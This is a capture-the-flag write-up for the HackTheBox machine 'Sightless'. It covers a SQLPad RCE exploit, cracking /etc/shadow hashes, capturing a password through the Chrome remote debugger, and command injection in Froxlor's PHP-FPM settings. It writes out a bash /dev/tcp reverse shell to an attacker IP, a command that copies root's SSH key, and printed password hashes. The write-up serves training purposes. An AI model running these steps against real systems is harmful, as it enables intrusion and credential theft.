![[sig16 1.png]] ## Overview [Sightless](https://app.hackthebox.com/machines/Sightless) ## Enumeration Initial Nmap Scan. ``` $ nmap -T4 -n -sC -sV -Pn -p- 10.129.133.235 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-19 11:17 CST Nmap scan report for 10.129.133.235 Host is up (0.082s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp | fingerprint-strings: | GenericLines: | 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.133.235] | Invalid command: try being more creative |_ Invalid command: try being more creative 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA) |_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://sightless.htb/ 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port21-TCP:V=7.94SVN%I=7%D=11/19%Time=673CC84B%P=x86_64-pc-linux-gnu%r( SF:GenericLines,A3,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x2 SF:0Server\)\x20\[::ffff:10\.129\.133\.235\]\r\n500\x20Invalid\x20command: SF:\x20try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20t SF:ry\x20being\x20more\x20creative\r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` We see `Port 21` is open and running `ProFTPD` and a web server running nginx on `Port 80`. Let's add `sightless.htb` to our hosts file and browse to the website and see what we can find. ``` $ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 debian12-parrot 10.129.133.235 sightless.htb # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.0.0.1 localhost 127.0.1.1 htb-1o2j8itv3l htb-1o2j8itv3l.htb-cloud.com ``` ![[sig1.png]] We are met with a website that appears to advertise itself as a provider for database and server management solutions. If we scroll down a little bit further we can see under "Our Services" that there are a few different options to choose from, including `SQLPad`, `Froxlor`, and `Database & Server Management`. ![[sig2.png]] If we click on "Start Now" for the SQLPad service option we are redirected to `sqlpad.sightless.htb` however we will need to add this subdomain to our `/etc/hosts` file before we can access it. Let's do that and then try visiting the site again. ![[sig3 1.png]] Now when we visit the `sqlpad.sightless.htb` subdomain we are met with what appears to be a SQLPad console where we can run SQL queries. If we look at the description for SQLPad it states "SQLPad is a web app that lets users connect to various SQL servers via a browser." Let's try running a few SQL queries and see if we can retrieve any useful information. If we try running a query we are advised by the console that we need to establish a connection to a database. However, when we click the `...choose connection` drop down there is nothing to choose from. If we take a look around the rest of the console we don't really find any other information or clues that might point us in the right direction. ![[sig4.png]] In the top-right corner of the console screen if we click on the 3 vertical dots and select "About" we are provided with some helpful information including the version of SQLPad that is currently running which is `6.10.0`. My first thought in these situations is always to Google for the software and the version in order see if there are any known vulnerabilities/exploits. https://nvd.nist.gov/vuln/detail/CVE-2022-0944 https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944 ## Initial Access Sure enough it looks like we have a good candidate. An RCE exploit for SQLPad versions below `6.10.1`, which should absolutely work for us considering the version running on our target is `6.10.0`. Let's download the exploit.py script to our machine and ensure that it is executable by running `chmod +x exploity,py` on it. Once we do that, launch a Netcat reverse shell in another terminal with `nc -lvnp port` and run the exploit with the correct options set as defined by the author. ``` $ python exploit.py http://sqlpad.sightless.htb/ 10.10.14.172 1337 Response status code: 400 Response body: {"title":"connect ECONNREFUSED 127.0.0.1:3306"} Exploit sent, but server responded with status code: 400. Check your listener. ``` We have received a connection from the target running under a user with the name `root`, which is interesting. The hostname `c184118df0a6` is also interesting and I am not sure what to make of it yet. We also get a couple notifications - `cannot set terminal process group (1): Inappropriate ioctl for device` and `no job control in this shell` which means we are currently limited as to what we can do. Attempting to upgrade the shell to a fully interactive TTY failed as well. ``` $ nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.14.172] from (UNKNOWN) [10.129.133.235] 52542 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@c184118df0a6:/var/lib/sqlpad# whoami whoami root root@c184118df0a6:/var/lib/sqlpad# ``` Trying to run `sudo -l` I get a `sudo: command not found` message. Let's try running `uname -a` to get some information about the system we're on. ``` uname -a Linux c184118df0a6 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 GNU/Linux ``` Hmmm...it looks like we're on an Ubuntu variant? But something about it seems off, especially the hostname. If we list out the contents of `/` we see `docker-entrypoint` in the root directory. ``` bin boot dev docker-entrypoint etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ``` This must mean that we are inside of a `docker` container which explains some of the oddities that we were met with when we first established a shell on the target. If we display the contents of `/home` we see there are two folders inside, `michael` and `node`. However, there does not appear to be anything of note inside either user's folders. I dug around quite a bit on the docker instance looking for any clues however I came up with nothing and when attempting to run any commands to help me with enumeration I kept running to brick walls in the form of `command not found` messages. Running down my enumeration checklist I got to the point where I attempted to see if I could display the contents of `/etc/shadow` and low and behold I could! ``` root@c184118df0a6:/# cat /etc/shadow root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7::: ....[snipped].... michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7::: ``` It looks like we have two users along with their hashes that we can attempt to crack. Now let's copy the entire output of cat `/etc/shadow` and place it in a file on our attacker machine. Once we do that, go ahead and run `hashcat --identify hashes.txt` and you should get the following output. ```bash $ hashcat --identify hashes.txt The following hash-mode match the structure of your input hash: # | Name | Category ======+============================================================+====================================== 1800 | sha512crypt $6$, SHA512 (Unix) | Operating System ``` Now that we have the hash type which is `sha512crypt` - Lets attempt to crack the passwords using `hashcat` with the following command. ```bash $ hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt.gz ``` After running this command, you should be able to crack the password for both the root and `michael` user accounts fairly quickly! If you run into any errors with `hashcat` not being able to detect the hash type make sure you copied the `/etc/shadow` contents correctly into your target file. Now...if we remember from our initial `nmap` scan, `SSH` is running on `Port 22`. Let's try logging in with the `michael` user's credentials first and see if we can retrieve the `user.txt` flag. ``` $ ssh [email protected] The authenticity of host '10.129.133.235 (10.129.133.235)' can't be established. ED25519 key fingerprint is SHA256:L+MjNuOUpEDeXYX6Ucy5RCzbINIjBx2qhJQKjYrExig. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.133.235' (ED25519) to the list of known hosts. [email protected]'s password: Last login: Tue Sep 3 11:52:02 2024 from 10.10.14.23 michael@sightless:~$ cat user.txt {REDACT3D FL@G} ``` ## Privilege Escalation Running `sudo -l` under the `michael` user we are met with a very sad message that no hacker ever want to see: `Sorry, user michael may not run sudo on sightless.` Oh well...we will have to put on our detective's hat...or rather hacker's hoodie? and try to figure something else out. Running `uname -a` we can see that we are now out of the docker container and on a machine named `sightless` with the following kernel information. ``` michael@sightless:~$ uname -a Linux sightless 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux ``` If we list the contents of `/home` we can another user folder named `john` however we are denied access to it. Let's go ahead and try uploading `linpeas.sh` to the target running under the `michael` user and execute it to see if it finds any potential privilege escalation vectors. ``` $ scp linpeas.sh [email protected]:~ [email protected]'s password: linpeas.sh 100% 808KB 1.4MB/s 00:00 ``` Once you have it on `sightless`, make sure you make it executable with `chmod +x` and then run it! Once it starts just wait for it to finish and be ready to dig through a good amount of output. The first thing that stuck out to me was underneath `Hostname, hosts, and DNS` there is an entry for `admin.sightless.htb` that we should add to the `/etc/hosts` file on our attacker machine. After adding it I tried browsing to it however I just get redirected back to `sightess.htb` so that didn't work. When we look at the entry in `/etc/hosts` on `10.129.233.235` we see that the IP address is set as localhost or `127.0.0.1` - Maybe we can try adding this to our `/etc/hosts` and try to tunnel via SSH to access the `admin.sightless.htb` host. Add the following line - `127.0.0.1 localhost admin.sightless.htb` to your `/etc/hosts` file on attacker machine. We can now try to tunnel via SSH however we don't know which port to forward. If we run `netstat -tnlp` on `10.129.233.35` we see there is a connection on `127.0.0.1:8080` indicating a possible web server. Let's try that! ``` michael@sightless:/var/www$ netstat -tnlp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:38407 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:38071 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:52687 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - ``` Now that we know what port to tunnel lets run the following command and see if we can access the `admin.sightless.htb` host via our browser. ```bash $ ssh -L 8080:localhost:8080 [email protected] ``` Once you run this command and are logged back into `sightless` as `michael`, try accessing the site at `admin.sightless.htb:8080` and see if it works! ![[sig5.png]] And voila! We are now faced with a login screen for `froxlor` which, as we remember from the beginning, was one of the solutions offered by sightless alongside `SQLPad`. The `michael` user's credentials do not work unfortunately so we need to find credentials somewhere else for a different user. Remembering back to when we were first able to log into the target via SSH as `michael` we noticed that there was another user on the target with the username of `john`. My first thought was to look back through our `linPEAS` output and see if we missed anything related to the `john` user. If we run `ps aux` under `michael` we see there are some processes currently running under the `john` user's context. ``` john 1639 0.0 0.6 33660 24504 ? S Nov19 0:16 /usr/bin/python3 /home/john/automation/admini john 1640 0.3 0.3 33630172 15096 ? Sl Nov19 1:49 /home/john/automation/chromedriver --port=526 john 1645 0.0 0.0 0 0 ? Z Nov19 0:00 [chromedriver] <defunct> john 1651 0.6 2.8 34011320 112516 ? Sl Nov19 3:00 /opt/google/chrome/chrome --allow-pre-commit- john 1653 0.0 0.0 33575860 3200 ? Sl Nov19 0:00 /opt/google/chrome/chrome_crashpad_handler -- john 1657 0.0 1.4 34112456 56232 ? S Nov19 0:00 /opt/google/chrome/chrome --type=zygote --no- john 1658 0.0 1.4 34112456 56532 ? S Nov19 0:00 /opt/google/chrome/chrome --type=zygote --no- john 1673 0.3 2.9 34362332 118900 ? Sl Nov19 1:56 /opt/google/chrome/chrome --type=gpu-process john 1674 0.1 2.1 33900068 86976 ? Sl Nov19 0:40 /opt/google/chrome/chrome --type=utility --ut john 1703 2.8 4.3 1186799476 171756 ? Sl Nov19 13:40 /opt/google/chrome/chrome --type=renderer --h john 1728 0.0 0.0 7372 3580 ? S Nov19 0:00 /bin/bash /home/john/automation/healthcheck.s ``` It looks like there are quite a few Google Chrome related processes running that I can't seem to make sense of. We unfortunately cannot see what port these Google Chrome processes are using on otherwise we could try to correlate them to some of the other connections that we saw when running `netstat -tnlp` earlier. If we scroll bath through our `LinPeas` output the only item labeled/highlighted with `RED/YELLOW` (meaning a 99% probability of privilege escalation) was interestingly the same Google Chrome processes running under the `john` user but with additional context including the highlighted part `--remote-debugging-port=0`. I decided to do some research on what exactly `linPEAS` was trying to tell me and so after googling stuff like "google chrome pentesting" and "google chrome debugger pentesting" I came across the following website which provided me with some additional context. https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/chrome-remote-debugger-pentesting/ After getting a better understanding of what `linPEAS` is trying to tell us using the article I provided along with some other online resources, we now know that we need to attempt to local port forward ports that we have to assume could be running with the Chrome Remote Debugger. If we go back to our netstat output we can see there are a handful of ephemeral ports that we could try local port forwarding using `SSH` and the `michael` user's credentials and from there attempt to access the debugger window. ``` 38407 38071 52687 33067 ``` We can run the following command in SSH and locally forward all of these ports in a single command. ``` ssh -L 38407:127.0.0.1:38407 -L 38071:127.0.0.1:38071 -L 52687:127.0.0.1:52687 -L 33067:127.0.0.1:33067 ``` After doing this, the next step is to launch Chrome/Chromium and access the following URL: `chrome://inspect/#devices` ![[sig6.png]] Once we're in this window, we can click on configure and enter in `172.0.0.1:Port#` or `localhost:Port#` and click done. Do this for every single port until you see a connection from the `Froxlor` login page at `admin.sightless.htb:8080` - Once you see it, click inspect and you should see a window and what looks to be someone logging into the `Froxlor` panel. ![[sig7.png]] The login attempt is extremely quick however we can see that the user is logging in with the username `admin` however the password is hidden. However, if we click over to the right, select `Network` and from here, select the `index.php` option, and finally the `Payload` tab...we can see the password for the admin user in cleartext. ![[sig9.png]] Let's go back to the `Froxlor` login page and attempt to log in using the credentials we observed being used. ![[sig10.png]] Success! We are in as the admin user and have access to a variety of different options to choose from. I clicked around a bit before finding myself logged in as the `web1` user who appeared to also be the `john` user we saw from earlier. ![[sig11.png]] I did a bit more digging around looking for anything that stood out to be as a possible privilege escalation vector. Selecting the `PHP` option on the left navigation we have a few options for `PHP-FPM `and after clicking on it we see there is a `system-default` entry with a `php-fpm` restart command text box inside. ![[sig12.png]] This stood out to me as a way for us to possibly send commands to the target within the context of whatever is running this service that may be running with elevated privileges I.E. the root user. My first thought was to attempt to try and spawn a reverse shell using bash with the following command: ``` bash -i >& /dev/tcp/10.10.14.172/1337 0>&1 ``` In order for this to run however, I realized that a new entry in the `PHP-FPM` console needed to be created. I went ahead and created a test entry and added the bash reverse shell command to the `php-fpm restart command` box. However, when attempting to save it I kept encountering an error which prevented me from saving it. I tried a few other reverse shells using `Netcat` and `curl` but both gave me the same error. I then put on my thinking cap and simply tried to enter a `cp` command to copy the root user's SSH private key to `/tmp` and then download it to my attacker machine using SSH. This seemed to fix the errors I was getting with the reverse shell commands and I was able to save the new entry. However, I then realized that these commands were not just going to run on their own once I hit save...and so I needed to figure out a way to run them. ``` cp /root/.ssh/id_rsa /tmp/id_rsa ``` ![[sig13 1.png]] It took me a few minutes or so but after clicking around on the `Froxlor` dashboard I saw that there is an entry for `PHP-FPM` and after clicking on it there is an option to disable it. After disabling it there will be a notification at the top that says not activated that will confirm that it is disabled. After confirming this, click on it again and re-enable it and click save. The notification should disappear and the command should have run! ``` $ scp [email protected]:/tmp/id_rsa /home/d3adair/Downloads/ [email protected]'s password: id_rsa 100% 3381 21.8KB/s 00:00 ``` After confirming the `id_rsa` key appeared in the `/tmp` folder after restarting the PHP-FPM service, I then downloaded it to my attacker machine using the above `SCP` command. Now all we need to do is login using the root user's private key and we should be able to get the root flag! ``` $ ssh -i id_rsa [email protected] Last login: Tue Sep 3 08:18:45 2024 root@sightless:~# cat /root/root.txt {REDACT3D FL@G} ``` Aaaaand we got it! ## Conclusion As with many of the other "Easy" difficulty HackTheBox machines I struggled a bit with this one The Chrome Remote Debugger attack vector was not one that I was familiar with whatsoever, in fact I had not even heard of it before this box. That being said, having the opportunity to exploit it and see an example of what the attack would look like was very insightful and overall I learned quite a bit from this machine. I always struggle a bit more with Linux machines than I do with Windows machines however I hope in the near future I can manage to bring my Linux hacking skills up to par alongside my Windows hacking skills. Until next time! ![[sig15.png]]